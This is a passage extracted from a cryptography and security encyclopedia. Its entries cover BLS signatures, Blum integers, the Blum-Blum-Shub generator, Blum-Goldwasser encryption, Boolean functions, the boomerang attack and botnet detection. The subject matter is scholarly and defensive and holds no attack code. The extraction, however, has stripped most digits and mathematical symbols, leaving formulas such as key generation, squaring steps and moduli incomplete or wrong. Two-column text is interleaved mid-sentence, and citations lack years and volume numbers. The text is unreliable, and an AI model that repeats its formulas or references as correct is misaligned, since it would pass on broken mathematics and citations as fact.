science, vol , Springer, Berlin, pp putable, nondegenerate, bilinear map e : G G G
Blum Integer B
for some group G . There are several examples of such Recommended Reading
groups from algebraic geometry where the bilinear map is . Naccache D, Stern J () Signing on a postcard. In: Proceedings
implemented using the Weil pairing. Given such a group of financial cryptography, Anguilla, February
. Boneh D, Lynn B, Shacham H () Short signatures from
G of prime order q, the digital signature scheme works as
the Weil pairing. J Cryptol. Extended abstract in Boyd C
follows:
Key Generation.
(ed) Proceedings of ASIACRYPT , Gold Coast, December B
. Lecture Notes in Computer Science, vol . Springer,
Berlin
. Pick an arbitrary generator g G. . Boneh D, Boyen X () Short signatures without random ora-
cles. In: Cachin C, Camenisch J (eds) Proceedings of eurocrypt
. Pick a random {, . . . , q} and set y = g G.
, Interlaken, May . Lecture Notes in Computer Science,
. Let H be a hash function H : {, } G. vol . Springer, Berlin, pp
. Zhang F, Safavi-Naini R, Susilo W () An efficient signature
Output (g, y, H) as the public key and (g, , H) as the scheme from bilinear pairings and its applications. In: Proceed-
private key ings of PKC, Singapore, March
Signing. To sign a message m {, } using the private

key (g, , H) output H(m) G as the signature.
Verifying. To verify a message/signature pair (m, s) Blum Integer
{, } G using the public key (g, y, H) test if e(g, s) =
e(y, H(m)). If so, accept the signature. Otherwise, reject.
Burt Kaliski
For a valid message/signature pair (m, s) we have that Office of the CTO, EMC Corporation, Hopkinton
s = H(m) and therefore e(g, s) = e(g, H(m) ) = MA, USA
e(g , H(m)) = e(y, H(m)). The second equality fol-
lows from the bilinearity of e(,). Hence, a valid signature is
always accepted. As mentioned above, the system is exis- Related Concepts
tentially unforgeable under a chosen message attack in BlumBlumShub PRNG; Legendre Symbol;
the random oracle model, assuming the computational Modular Arithmetic; Quadratic Residue
DiffieHellman assumption holds in G. Observe that a sig-
nature is a single element in G whereas DSS signatures are Denition
pairs of elements. This explains the reduction in signature A positive integer n is a Blum integer if it is the product of
length compared to DSS. two distinct primes p, q where p q (mod ).
Recently, Boneh and Boyen [] and Zhang et al. []
describe a more efficient system producing signatures of
Background
the same length as Boneh, Lynn, and Shacham (BLS).
Blum integers are named for Manuel Blum who first
However, security is based on a stronger assumption.
explored their cryptographic applications (see []).
Key generation is identical to the BLS system, except
that the hash function used is H : {, }
Zq . A signature on a message m {, } is s =
Theory
If an integer n is the product of two distinct primes p, q
g /(+H(m)) G. To verify a message/signature pair
where p q (mod ), then the mapping
(m, s) test that e(ygH(m) , s) = e(g, g). We see that
signature length is the same as in BLS signatures. How- x x mod n
ever, since e(g, g) is fixed, signature verification requires
only one computation of the bilinear map as opposed to is believed to be a trapdoor permutation (Trapdoor One-
two in BLS. Security of the system in the random oracle Way Function) on the quadraticresidues modulo n. For
model is based on a nonstandard assumption called the such an integer n, called a Blum integer, exactly one of the
t-DiffieHellman-inversion assumption. Loosely speak- four square roots of a quadratic residue modulo n is itself
ing, the assumption states that no efficient algorithm given a quadratic residue. Inverting the permutation is equiva-
g, g x , g (x ) , . . . , g (xt ) as input can compute g /x . Here t is lent to factoring n, but is easy given p and q, hence the
the number of chosen message queries that the attacker can trapdoor.
make. Surprisingly, a variant of this system can be shown to The permutation can be inverted when the prime fac-
be existentially unforgeable under a chosen message attack tors p and q are known by computing both square roots
without the random oracle model []. modulo each factor, selecting the square root modulo each
B BlumBlumShub Pseudorandom Bit Generator
factor which itself is a square, then applying the Chinese will see below, there is no need to keep the number N
remainder theorem. Conveniently, the square roots mod- secret.
ulo the prime factors of a Blum integer can be computed Generate. Given an input Z and a seed (N, s) we gener-
with a simple formula: The solutions of x a (mod p) ate a pseudorandom sequence of length . First, set x = s.
are given by x a(p+)/ (mod p) when p (mod ). Then, for i = , . . ., :
The appropriate square root can be selected by computing
. View xi as an integer in [, N ] and let bi {, } be
the Legendre symbol.
the least significant bit of xi .
. Set xt+ = xi ZN .
Applications The output sequence is b b . . .b {, } .
Blum integers are of interest in cryptographic applications The generator can be viewed as a special case of
that require a trapdoor one-way permutation. This fact the general BlumMicali generator []. To see this, we
is exploited in the Blum-Blum-Shub Pseudorandom Bit show that the generator is based on a one-way per-
Generator. mutation (one-way function and substitutions and
permutations) and a hard-core predicate of that permu-

Recommended Reading tation. For an integer N let QRN = (ZN ) denote the

. Manuel B () Coin flipping by telephone. In: Gersho A (ed) subgroup of quadratic residues in ZN and let FN : ZN
Advances in cryptology: a report on CRYPTO , U.C. Santa ZN denote the function FN (x) = x ZN . For Blum inte-
Barbara, Department of Electrical and Computer Engineering, gers the function FN is a permutation (a one-to-one map)
ECE Report No -, pp of the subgroup of quadratic residues QRN . In fact, it is
not difficult to show that FN is a one-way permutation of
QRN , unless factoring Blum integers is easy. Now that we
have a one-way permutation we need a hard-core bit of
BlumBlumShub Pseudorandom the permutation to construct a BlumMicali-type gener-
Bit Generator ator. Consider the predicate B : QRN {, } that on
input x QRN views x as an integer in [, N] and out-
Dan Boneh puts the least significant bit of x. Blum, Blum, and Shub
Department of Computer Science, Stanford University, showed that B(x) is a hard-core predicate of FN assum-
Stanford, CA, USA ing it is hard to distinguish quadratic residues in ZN from
nonresidues in ZN with Jacobi symbol . Applying the
BlumMicali construction to the one-way permutation
Related Concepts FN and the hard-core predicate B produces the generator
Pseudorandom Number Generator above. The general theorem of Blum and Micali now shows
that the generator is secure assuming it is hard to distin-
guish quadratic residues in ZN from nonresidues in ZN
Denition with Jacobi symbol . Vazirani and Vazirani [] improved
The BlumBlumShub (BBS) pseudorandom bit genera- the result by showing that B(x) is a hard-core predicate
tor [] is one of the most efficient pseudorandom num- under the weaker assumption that factoring random Blum
ber generators known that is provably secure under the integers is intractable.
assumption that factoring large composites is intractable One can construct many different hard-core predicates
(integer factoring). for the one-way permutation FN defined above. Every such
hard-core bit gives a slight variant of the BBS generator.
Theory For example, Hastad and Naslund [] show that for most
The generator makes use of modular arithmetic and j < log N the predicate Bj (x) : QRN {, } that
works as follows: returns the jth bit of x is a hard-core predicate of FN assum-
Setup. Given a security parameter Z as input, gen- ing factoring Blum integers is intractable. Consequently,
erate two random -bit primes p, q where p = q = one can output bit j of xi at every iteration and still obtain
mod . Set N = pq Z. Integers N of this type (where a secure generator, assuming factoring Blum integers is
both prime factors are distinct and are mod ) are called intractable.
Blum integers. Next pick a random y in the group ZN One can improve the efficiency of the general Blum
and set s = y ZN . The secret seed is (N, s). As we Micali generator by outputting multiple simultaneously
BlumGoldwasser Public Key Encryption System B
secure hard-core bits per iteration. For the function FN Theory

it is known that the O(log log N) least significant bits The system makes use of modular arithmetic and works
are simultaneously secure, assuming factoring Blum inte- as follows:
gers is intractable. Consequently, the simulator remains Key Generation. Given a security parameter Z
secure (asymptotically) if one outputs the O(log log N) as input, generate two random -bit primes p, q where
least significant bits of xi per iteration. p = q = mod . Set N = pq Z. The public key is N
B
Let I be the set of integers I = {, . . ., N}. We note and private key is (p, q).
that for a Blum integer N and a generator g ZN , Has- Encryption. To encrypt a message m = m . . . m
tad et al. [] considered the function GN,g : I ZN {, } :
defined by GN,g (x) = g x ZN . They showed that half the
bits of x I are simultaneously secure for this function, . Pick a random x in the group ZN and set x = x
assuming factoring Blum integers is intractable. Therefore, ZN .
one can build a BlumMicali generator from this func- . For i = , . . . , :
tion that outputs (log N)/ bits per iteration. The result- (a) View xi as an integer in [, N] and let bi {, }
ing pseudorandom generator is essentially as efficient as be the least significant bit of xi .
the BBS generator and is based on the same complexity (b) Set ci = mi bi {, }.
assumption. (c) Set xi+ = xi ZN .
. Output (c , . . . , c , x+ ) {, } ZN as the
Recommended Reading ciphertext.
. Blum L, Blum M, Shub M () Comparison of two pseudo-
random number generators. In: Chaum PD, Rivest RL, Sherman Decryption. Given a ciphertext (c , . . . , c , y) {, }
AT (eds) Advances in cryptology CRYPTO. Springer, Berlin, ZN and the private key (p, q) decrypt as follows:
pp
. Blum M, Micali S () How to generate cryptographically . Since N is a Blum integer, (N)/ is odd (Eulers
strong sequences of pseudorandom bits. In: Proceedings of totient function) and therefore + has an inverse
FOCS, Chicago, pp
. Vazirani U, Vazirani V () Efficient and secure pseudo-
modulo (N)/. Let t = (+ ) mod ((N)/).

random number generation. In: Proceedings of FOCS, West . Compute x = yt ZN . Observe that if y (ZN ) then
( r+ )
= y(t ) = y ZN .
Palm Beach, pp t+
x
. Hastad J, Naslund M () The security of all RSA and discrete
log bits. J Assoc Comput Mach. Extended abstract in Proceedings . Next, for i = , . . . , :
of FOCS, Palo Alto, pp (a) View xi as an integer in [, N] and let bi {, }
. Hastad J, Schrift A, Shamir A () The discrete logarithm be the least significant bit of xi .
modulo a composite hides O(n) bits. J Comput Syst Sci (JCSS) (b) Set mi = ci bi {, }.
(c) Set xi+ = xi ZN .
:
. Output (m , . . . , m ) {, } as the plaintext.
Semantic security of the system (against a passive

BlumGoldwasser Public Key adversary) follows from the proof of security of the Blum
Encryption System BlumShub generator. The proof of security shows that
an algorithm capable of mounting a successful semantic
Dan Boneh security attack is able to factor the Blum integer N in the
Department of Computer Science, Stanford University, public key.
Stanford, CA, USA We note that the system is XOR malleable: given the
encryption C = (c , . . . , c , y) of a message m {, } it
is easy to construct an encryption of m b for any chosen
Denition b {, } (without knowing m). Let b = b b {, } .
The BlumGoldwasser public key encryption system com- Simply set C = (c b , . . . , c b , y). Since the system
bines the general construction of GoldwasserMicali [] is XOR malleable it cannot be semantically secure under a
with the concrete BlumBlumShub pseudorandom bit chosen ciphertext attack.
generator [] to obtain an efficient semantically secure Interestingly, the same reduction given in the proof of
public key encryption whose security is based on the diffi- semantic security shows that a chosen ciphertext attacker
culty of factoring Blum integers. can factor the modulus N and therefore recover the private
B Boolean Functions
key from the public key. Consequently, as it is, the sys- In stream ciphers (Combination Generator, Filter Gen-
tem completely falls apart under a chosen ciphertext attack. erators, . . .), they usually combine the outputs to several
When using the system one must use a mechanism to linear feedback shift registers, or they filter (and com-
defend against chosen ciphertext attacks. For example, bine) the contents of a single one. Their output pro-
Fujisaki and Okamoto [] provide a general conversion duces then the pseudo-random sequence which is used
from semantic security to chosen ciphertext security in the in a Vernam-like cipher (i.e., which is bitwise added
random oracle model. However, in the random oracle to the plaintext to produce the ciphertext). In block
model one can construct more efficient chosen cipher- ciphers (see the entries on these ciphers), the S-boxes are
text secure systems that are also based on the difficulty of designed by appropriate composition of nonlinear Boolean
factoring [, ]. functions.
An n-variable Boolean function f (x) is a function from
Recommended Reading the set Fn of all binary vectors of length n (also called
. Goldwasser S, Micali S () Probabilistic encryption. J Comput words) x = (x , . . . , xn ), to the field F = {, }. The num-
Syst Sci (JCSS) (): ber n of variables is rarely large, in practice. In the case of
. Blum L, Blum M, Shub M () Comparison of two pseudo-
stream ciphers, it was until recently most often less than
random number generators. In: Chaum D (ed) Advances in
cryptology CRYPTO, New York. Springer, Berlin, pp
and now it is most often less than (this increasement
. Fujisaki E, Okamoto T () Secure integration of asymmetric comes from the invention of algebraic attacks by Courtois
and symmetric encryption schemes. In: Wiener J (ed) Advances and Meier, Algebraic Immunity of Boolean Functions);
in cryptology CRYPTO, Santa Barbara. Lecture Notes in and the S-boxes used in most block ciphers are concatena-
Computer Science, vol . Springer, Berlin, pp
tions of sub S-boxes on at most eight variables. But deter-
. Bellare M, Rogaway P () The exact security of digital sig-
natures: how to sign with RSA and Rabin. In: Maurer U (ed)
mining and studying the Boolean functions which satisfy
Advances in cryptology EUROCRYPT, Saragossa. Lecture some conditions needed for cryptographic uses (see below)
Notes in Computer Science, vol . Springer, Berlin, pp is not feasible through an exhaustive computer investiga-
. Boneh D () Simplified OAEP for the RSA and Rabin function, since the number of n-variable Boolean functions is
tions. In: Kilian J (ed) Advances in cryptology CRYPTO ,
already too large when n : if we assume that visit-
Santa Barbara. Lecture Notes in Computer Science, vol .
Springer, Berlin
ing an n-variable Boolean function needs one nanosecond
( s), then it would need millions of hours to visit all
n-variable functions if n = and about one hundred bil-
lions times the age of the universe if n = . For n = ,
the number of Boolean functions approximately equals the
Boolean Functions number of atoms in the whole universe! However, clever
computer investigations are very useful to imagine or to
Claude Carlet
test conjectures, and sometimes to generate interesting
Dpartement de mathmatiques and LAGA, Universit
functions.
Paris , Saint-Denis Cedex, France
The Hamming weight wH (f ) of a Boolean function f on
Fn is the size of its support {x Fn / f (x) }. The Ham-
Synonyms ming distance dH (f , g) between two functions f and g is
Binary functions the size of the set {x Fn / f (x) g(x)}. Thus, it equals
the Hamming weight wH (f g), where f g is the sum
Related Concepts (modulo ) of the functions.
ReedMuller Codes; Stream Cipher; Symmetric Every n-variable Boolean function can be represented
Cryptography with its truth-table. But the representation of Boolean
functions which is most usually used in cryptography is
Denition the n-variable polynomial representation over F , of the
Functions mapping binary vectors of a given length to bits form
Background f (x) = aI ( xi ) .
I{,...,n} iI
Symmetric cryptography
Notice that the variables x , . . . , xn appear in this polyno-
Theory mial with exponents smaller than or equal to because
Boolean functions play a central role in the design of they represent bits (in fact, this representation belongs to
many symmetric cryptosystems [] and in their security. the quotient ring F [x , , xn ]/ (x x , , xn xn )). This
Boolean Functions B
polynomial representation is called the Algebraic Normal Many characteristics needed for Boolean functions in
Form (in brief ANF). It exists and is unique for every cryptography can be expressed by means of the discrete
Boolean function. Fourier transform of the functions. The discrete Fourier
transform (also called Hadamard transform) of a Boolean
Example: the -variable function f whose truth-table
function viewed as valued in {, }, or more generally of
equals
an integer-valued function on Fn , is the integer-valued
B
defined on Fn by
function
x x x f (x)
(u) = (x) ()xu .
()
xF n
There exists a simple divide-and-conquer butterfly algo-

rithm to compute , whose complexity is O(nn ):

. Write the table of the values of (its truth-table if is

Boolean), the binary vectors of length n being say
in lexicographic order with m.s.b. on the right.
. Let be the restriction of to {} Fn and its
restriction to {} Fn ; the table of (resp. ) cor-
responds to the upper (resp. lower) half of the table of

; replace the values of by those of + and those
of by those of .
. Apply recursively step to and to (these func-
tions taking the place of ).
has ANF: ( x )( x ) x x ( x ) x x x x =
x x x x x x . Indeed, the expression (x)(x ) x , When the algorithm ends (i.e., when it arrives to tables of
for instance, equals if and only if (x , x , x ) = (, , ). one line each), the global table gives the values of .
For a given Boolean function f , the discrete Fourier
Two simple relations relate the truth-table and the
transform can be applied to f itself (notice that
f () equals
ANF:
n the Hamming weight of f ). It can also be applied to the
x F , f (x) = aI , () function f(x) = ()f (x) (often called the sign function):
Isupp(x)
I {, . . . , n}, aI = f (x), () f(u) = ()f (x)xu .

xF n / supp(x)I xF n
where supp(x) denotes the support {i {, . . . , n}; We shall call this Fourier transform of f the Walsh trans-
xi = } of x. Thus, the function is the image of its ANF by form of f . The sign function f being equal to f , we have
the binary Mbius transform, and vice versa. The degree of f(u) = f (u) if u and f() = n
f ().
the ANF is denoted by d f and is called the algebraic degree The discrete Fourier transform, as any other Fourier
of the function. The algebraic degree is an affine invariant, transform, has numerous properties. The two most impor-
in the following sense: we say that two functions f and g are tant ones are the inverse Fourier relation:
= n , and
affinely (resp. linearly) equivalent if there exists an affine Parsevals relation:
(resp. a linear) automorphism A of Fn such that g = f A.
(u) = n (x)(x),
(u)

An affine invariant is any mapping which is invariant under
uF n xF n
affine equivalence.
The functions with simplest ANFs are the affine func- valid for any integer-valued functions , , and which
tions (the Boolean functions of algebraic degrees or ). implies in the case of the sign function:
Denoting by a x the usual inner product a x = a x
f (u) = .
n
an xn in Fn , the general form of an n-variable affine
uF n
function is a x a (with a Fn ; a F ).
Other representations of Boolean functions exist: the The resistance of the diverse cryptosystems imple-
trace representation (when Fn is endowed with a struc- menting Boolean functions to the known attacks can
ture of field) which is a univariate polynomial over this be quantified through some fundamental characteristics
field, and the representation over the reals, also called the of the Boolean functions used in them. The design of
Numerical Normal Form (NNF) []. cryptographic functions needs then to consider various
B Boolean Functions
characteristics (depending on the choice of the cryptosys- and the Walsh transforms: f is m-th order correlation-
tem) simultaneously. These criteria are most often partially immune if and only if f(u) = for all u Fn such
opponent, and trade-offs are necessary. that wH (u) m; and it is m-resilient if and only if
f(u) = for all u Fn such that wH (u) m. Equiva-
. Cryptographic functions must have high algebraic
lently, f is m-th order correlation-immune if and only
degrees. Indeed, all cryptosystems using Boolean func-
if
f (u) = , for all u Fn such that wH (u) m
tions can be attacked if these functions have low
and it is m-resilient if and only if it is balanced and if
degrees. For instance, in the case of combining func- f (u) = for all u Fn such that < wH (u) m.
tions, if n LFSRs having lengths L , . . . , Ln are com-
. The Propagation Criterion PC is a criterion generaliz-
bined by the function f (x) = I{,...,n} aI (iI xi ),
ing the Strict Avalanche Criterion SAC and quantifies
then the sequence produced by f can be obtained by a
the level of diffusion put in a cipher by a Boolean func-
LFSR of length L I{,...,n} aI (iI Li ). The alge-
tion. It is more relevant to block ciphers. An n-variable
braic degree of f has therefore to be high so that L can
Boolean function satisfies the propagation criterion of
have high value (otherwise, the system does not resist
degree l if, for every vector x of Hamming weight at
the Berlekamp-Massey attack []). In the case of block
most l, the derivative Da f (x) = f (x) f (x + a) is bal-
ciphers, using Boolean functions of low degrees makes
anced (Propagation Characteristics of Boolean Func-
the higher differential attack effective.
tions for more details). By definition, SAC is equivalent
. The output of any Boolean function f always has cor-
to PC (Eq. ).
relation to certain linear functions of its inputs. But
The bent functions are those functions satisfying
this correlation should be small. Otherwise, the exis-
PC(n).
tence of affine approximations of the Boolean func-
. A vector e Fn is called a linear structure of an
tions involved in the cryptosystem allows in all situ-
n-variable Boolean function f if the derivative De f
ations (block ciphers, stream ciphers) to build attacks
is constant. Boolean functions used in block ciphers
on this system. Thus, the minimum Hamming dis-
should avoid nonzero linear structures (see []). A
tance between f and all affine functions must be
Boolean function admits a nonzero linear structure if
high. This minimum distance is called the nonlin-
and only if it is linearly or affinely equivalent to a func-
earity of f (Nonlinearity of Boolean Functions for
tion of the form f (x , . . . , xn ) = g(x , . . . , xn ) xn
more details). It can be quantified through the Walsh
where F . Note that the nonlinearity of f is then
transform: n
upper bounded by n , since it equals twice that

max f(a). of g. A characterization exists: Da f is the constant func-
n
N L(f ) =
aFn tion (resp. the null function) if and only if the set
{u Fn /f(u) = } contains {, a} (resp. contains its
Parsevals relation implies then:
complement).
n n/ . Other characteristics of Boolean functions have been
N L(f ) .
considered in the literature:
The functions achieving this upper bound are called
The sum-of-squares indicator: V(f ) = aFn
bent.
. Cryptographic functions must be balanced (their out- (xFn ()Da f (x) ) and the absolute indicator:
put must be uniformly distributed) for avoiding sta- maxaFn , a
tistical dependence between the input and the output xFn ()Da f (x) quantify the global diffusion
(which can be used in attacks). Notice that f is balanced capability of the function;
if and only if f() = . The maximum correlation between an n-variable
Moreover, any combining function f (x) must stay Boolean function f and a subset I of {, . . . , n}
balanced if we keep constant some coordinates xi of equals Cf (I) = n max ()f (x)g(x) , where
x (at most m of them where m is as large as possi- gFI xF n

ble). We say that f is then m-resilient. More generally, FI is the set of n-variable Boolean functions whose
a (non-necessarily balanced) Boolean function whose values depend on {xi , i I} only. It must be low
output distribution probability is unaltered when any for every nonempty set I of small size to avoid
m of the inputs are kept constant, is called m-th order correlation attacks.
correlation-immune (Correlation Immune Boolean The main complexity criteria (from cryptographic
Functions for more details). Correlation immunity and viewpoint) for a Boolean function are the alge-
resiliency can be characterized through the Fourier braic degree and the nonlinearity, but other criteria
Boomerang Attack B
have also been studied: the minimum number of Denition

terms in the algebraic normal forms of all affinely The boomerang attack is a chosen plaintext and
equivalent functions (called the algebraic thickness), adaptive chosen ciphertext attack discovered by
the maximum dimension k of those flats E such Wagner []. It is an extension of differential attack to
that the restriction of f to E is constant (resp. is two-stage differentialdifferential attack which is closely
affine) we say then that the function is k-normal related to impossible differential attack as well as to
B
(resp. k-weakly-normal), the number of nonzero the meet-in-the middle approach. The attack may use
coefficients of the Walsh transform. Asymptotically, characteristics, differentials, as well as truncated differen-
almost all Boolean functions have high complexi- tials. The attack breaks constructions in which there are
ties with respect to all these criteria. high-probability differential patterns propagating halfway
. Several additional criteria have appeared recently through the cipher both from the top and from the bottom,
because of the algebraic attacks (Algebraic Immunity but there are no good patterns that propagate through the
of Boolean Functions for more details). The parame- full cipher.
ter quantifying the resistance to the standard algebraic
attacks is the so-called algebraic immunity. It equals Theory
the minimum algebraic degree of all nonzero Boolean The idea of the boomerang attack is to find good con-
functions g such that fg = (i.e., such that the supports ventional (or truncated) differentials that cover half of the
of f and g are disjoint - we say that g is an annihila- cipher but cannot necessarily be concatenated into a sin-
tor of f ) or (f )g = (i.e., such that g is a multiple gle differential covering the whole cipher. The attack starts
of f ). This parameter must be close to the maximal pos- with a pair of plaintexts P and P with a difference which
sible value n/. This is not sufficient: the function goes to difference through the upper half of the cipher.
must also allow resistance to the fast algebraic attacks The attacker obtains the corresponding ciphertexts C and
(Algebraic Immunity of Boolean Functions). C , applies a difference to obtain ciphertexts D = C +
and D = C + , and decrypts them to plaintexts Q
A survey on Boolean functions detailing all these notions
and Q . The choice of is such that the difference prop-
can be found in [].
agates to the difference in the decryption direction
through the lower half of the cipher. For the right quartet
Recommended Reading
of texts, difference is created in the middle of the cipher
. Carlet C () Boolean functions for cryptography and error
correcting codes. In: Hammer P, Crama Y (eds) Boolean models between partial decryptions of D and D which propagates
and methods in mathematics, computer science, and engineering. to the difference in the plaintexts Q and Q . This can be
Cambridge University Press, Cambridge, pp detected by the attacker.
. Evertse JH () Linear structures in block ciphers. In: Advances Moreover, working with quartets (pairs of pairs) pro-
in cryptology-EUROCRYPT , Lecture notes in computer sci-
vides boomerang attacks with additional filtration power.
ence, vol . Springer, Berlin, pp
. Massey JL () Shift-register analysis and BCH decoding. IEEE If one partially guesses the keys of the top round, one has
Trans Inf Theory : two pairs of the quartet to check whether the uncovered
. Menezes A, van Oorschot P, Vanstone S () Handbook of partial differences follow the propagation pattern, specified
applied cryptography. CRC Press series on discrete mathemat- by the differential. This effectively doubles the attackers fil-
ics and its applications. CRC Press, Boca Raton. http://www.cacr.
tration power. In certain cases, free rounds in the middle
math.uwaterloo.ca/hac
may be gained due to a careful choice of the differences
coming from the top and from the bottom [, ]. This
technique is called boomerang switching. Note also that
switching need not necessarily happen in the exact mid-
Boomerang Attack dle of the cipher, and the choice of the splitting point has
very strong effects on the probability of the boomerang
Alex Biryukov distinguisher and thus on the total complexity of the attack.
FDEF, Campus Limpertsberg, University of Luxembourg, The attack was demonstrated with a practical crypt-
Luxembourg analysis of a cipher which was designed with provable
security against conventional differential attack [], as well
Related Concepts as on round-reduced versions of several other ciphers.
Adaptive Chosen Plaintext and Chosen Ciphertext The related method of the inside out attack was given in
Attack; Block Ciphers the same paper. Further refinements of the boomerang
B Botnet Detection in Enterprise Networks
technique have been found in papers on so-called attacks afforded by their combined bandwidth and pro-
amplified boomerang and rectangle attacks [, ] and in cessing power make botnets the largest threat to Internet
papers translating boomerang attacks into the related key security today.
model [, ]. Enterprise networks are particularly vulnerable to
botnet penetration and propagation because of their
Recommended Reading extremely homogeneous network environments, e.g., their
. Biham E, Dunkelman O, Keller N () New results on machines are typically with the same manufacture, same
boomerang and rectangle attacks. In: Daemen J, Rijmen V (eds) operation system, and very similar applications and soft-
Fast software encryption, FSE . Lecture notes in computer ware configurations. Once an internal machine is infected
science, vol . Springer, Berlin, pp (either by a remote exploitation, or because the user
. Biham E, Dunkelman O, Keller N () Related-key boomerang
browses a malicious website, clicks a malicious email
and rectangle attacks. In: Cramer R (ed) EUROCRYPT .
LNCS, vol . Springer, Heidelberg, pp attachment, inserts an infected USB drive, or brings in an
. Biryukov A, Khovratovich D () Related-key cryptanalysis of already infected laptop), the rapid propagation from inter-
the full AES- and AES-. In: Matsui M (eds) ASIACRYPT. nal hosts can be very hard to stop. Considering the fact that
Lecture notes in computer science, vol . Springer, Berlin, most bots tend to propagate in local networks even though
pp
the initial infection is through social engineering or web
. Kelsey J, Kohno T, Schneier B () Amplified boomerang
attacks against reduced-round MARS and Serpent. In: Schneier browsing, this is a realistic and severe threat.
B (ed) Fast software encryption, FSE . Lecture notes in Most existing network-based intrusion detection sys-
computer science, vol . Springer, Berlin, pp tems in enterprise networks focus on examining mainly (or
. Kim J, Hong S, Preneel B () Related-key rectangle attacks on only) inbound network traffic for signs of malicious point-
reduced AES- and AES-. In: Biryukov A (eds) Fast soft-
to-point intrusion attempts. Although they may have the
ware encryption. Lecture notes in computer science, vol .
Springer, Berlin, pp capacity to detect initial incoming intrusion attempts, they
. Vaudenay S () Provable security for block ciphers by decor- tend to generate a lot of false positives and a lot of alarms
relation. In: Morvan M, Meinel C, Krob D (eds) STACS. Lecture that a network administrator can hardly handle. Distin-
notes in computer science, vol . Springer, Berlin, pp guishing a successful local host infection from the daily
. Wagner D () The boomerang attack. In: Knudsen LR (ed) Fast
myriad scans and intrusion attempts remains a very chal-
software encryption, FSE. Lecture notes in computer science,
vol . Springer, Berlin, pp lenging task. In addition, because of recent advances in
malware, it is harder to accurately detect when it initially
penetrates the monitored network, as machines can be
infected by botnets using many ways other than traditional
remote exploitation. It is critical to develop a detection
Botnet Detection in Enterprise capability for already compromised machines inside mon-
Networks itored networks regardless of how they have been infected.
Guofei Gu
Department of Computer Science and Engineering, Texas
A&M University, College Station, TX, USA
Botnet detection techniques can be generally catego-
rized into signature-based or behavior-based solutions.
Signature-based botnet detection solutions are simple and
Related Concepts very similar to traditional signature-based antivirus tools
DNS-Based Botnet Detection; Trojan Horses, Com- or intrusion detection systems in nature. For example,
puter Viruses, and Worms one can use known IRC (Internet Relay Chat) bot nick-
name patterns to detect specific IRC bots. Or, one can also
Background use known botnet C&C content signatures and/or C&C
A botnet is a network of compromised computers (i.e., domain names for detection. This kind of approach is accu-
bots) that are under the control of a remote attacker (i.e., rate only if a comprehensive and precise signature database
botmaster) through some command and control (C&C) is available, and it possesses the inherent weaknesses of
channel. Nowadays, botnets are state-of-the-art malware signature-based solutions, such as the inability to detect
and widely considered as a primary root-cause for most new, unknown bots/botnets.
of the attacks and fraudulent activities on the Internet, Several behavior-based approaches have been pro-
such as denial-of-service (DDoS) attacks, spam, phishing, posed to detect botnets in enterprise networks. They
and information theft. The magnitude and potency of the attempt to capture some intrinsic behavior invariants
Botnet Detection in Enterprise Networks B
within a bot/botnet. Thus, this type of solutions has the share both similar communication patterns and similar
hope to capture new, unknown bots/botnets. malicious activity patterns. These hosts are thus bots in the
One representative example of behavior-based tech- monitored network. BotMiner was evaluated using many
niques is dialog correlation (or vertical correlation), first real network traces. The results showed that it can detect
proposed in BotHunter []. This new network perime- different types of real-world botnets (IRC-based, HTTP-
ter monitoring strategy, vertical correlation, examines the based, and PP botnets, including Nugache and Storm
B
behavior history of each distinct host in enterprise net- Worm) and has a very low false positive rate.
works. It recognizes a correlated dialog trail (or, evidence A new correlation strategy, cause-effect correlation, has
trail) consisting of multiple stages and representing a been proposed in BotProbe []. The main goal of BotProbe
successful bot infection. Therefore, this strategy is also is to detect obscure chat-like botnet C&C communica-
referred to as dialog correlation. BotHunter is designed tions that resemble human communications and can evade
to track two-way communication flows between internal traditional passive and signature-based systems. BotProbe
assets and external entities, and recognize an evidence proposes active botnet probing techniques in a network
trail of information exchanges that match a state-based middlebox as a means to augment existing detection strate-
infection-sequence model. BotHunter consists of a corre- gies. The basic idea is to exploit the cause-effect correlation
lation engine driven by several malware-focused network of botnet command and response (i.e., a certain botnet
detection sensors, each charged with detecting specific command will most likely cause a certain type of response
stages and aspects of the malware infection process, from bots), using active probing techniques. BotProbe uses
including inbound scanning, exploit usage, egg down- a hypothesis testing algorithmic framework to achieve a
loading, outbound bot coordination dialog, and outbound desired accuracy. Experimental evaluation shows that Bot-
attack/propagation. The BotHunter correlator then links Probe can successfully identify obscure botnet communi-
the dialog trail of inbound intrusion alarms with those cations in several real-world IRC botnets.
outbound communication patterns that are highly indica-
tive of a successful local host infection. When a sequence Open Problems
of evidence matches BotHunters infection-dialog model, The botnet detection problem is very challenging. How
a consolidated report is produced to capture all the rele- to improve the efficiency and robustness of existing tech-
vant events and event sources that played a role during the niques is still an open problem. In particular, since botnets
infection process. The BotHunter tool is currently available are state-of-the-art malware and they tend to be adaptive
for download at http://www.bothunter.net. and evasive, one important future direction is to study
While vertical correlation examines behavior history of new techniques to improve the efficiency and increase the
each distinct host, a new, complementary strategy, horizon coverage of existing correlation/detection techniques, and
correlation, looks at behavior correlation among different such techniques should be robust against evasion attempts.
hosts in the network. The intuition is that because a botnet Another important future direction is to study coopera-
contains a coordinated group of compromised machines tive detection combining both host- and network-based
that are controlled by the same botmaster, these bots are components. Host-based approaches can provide different
very likely to demonstrate spatiotemporal correlation and information/views that network-based approaches cannot.
similarity. BotSniffer [] is one of the first systems exploit- The combination of these two complementary approaches
ing this intuition to detect botnets. TAMD [] is another can potentially provide better detection results, e.g., possi-
system that uses vertical correlation to aggregate traffic that bly for detecting a highly evasive botnet that uses strongly
shares the same external destination, similar payload, and encrypted C&C.
that involves internal hosts with similar OS platforms. Both
BotSniffer and TAMD are designed mainly for botnets Recommended Reading
using centralized C&C communications. To address this . Guofei Gu, Perdisci R, Zhang J, Lee W () BotMiner: clus-
tering analysis of network traffic for protocol- and structure-
limitation, BotMiner [] is designed to detect botnets inde-
independent Botnet detection. In: Proceedings of the th
pendent of their C&C protocols and structures. The design USENIX security symposium (Security)
principle of BotMiner is based on the definition and essen- . Guofei Gu, Zhang J, Lee W () BotSniffer: detecting Botnet
tial properties of botnets. That is, bots within the same command and control channels in network traffic. In: Proceed-
botnet communicate with some C&C servers/peers and ings of the th annual network and distributed system security
symposium (NDSS)
perform malicious activities, doing so in a similar or corre-
. Guofei Gu, Porras P, Yegneswaran V, Fong M, Lee W ()
lated fashion. Accordingly, BotMiner clusters have similar BotHunter: detecting malware infection through IDS-driven dia-
communication traffic and similar malicious traffic, and log correlation. In: Proceedings of the th USENIX security
perform cross-cluster correlation to identify the hosts that symposium (Security)
B Broadcast Authentication from a Conditional Perspective
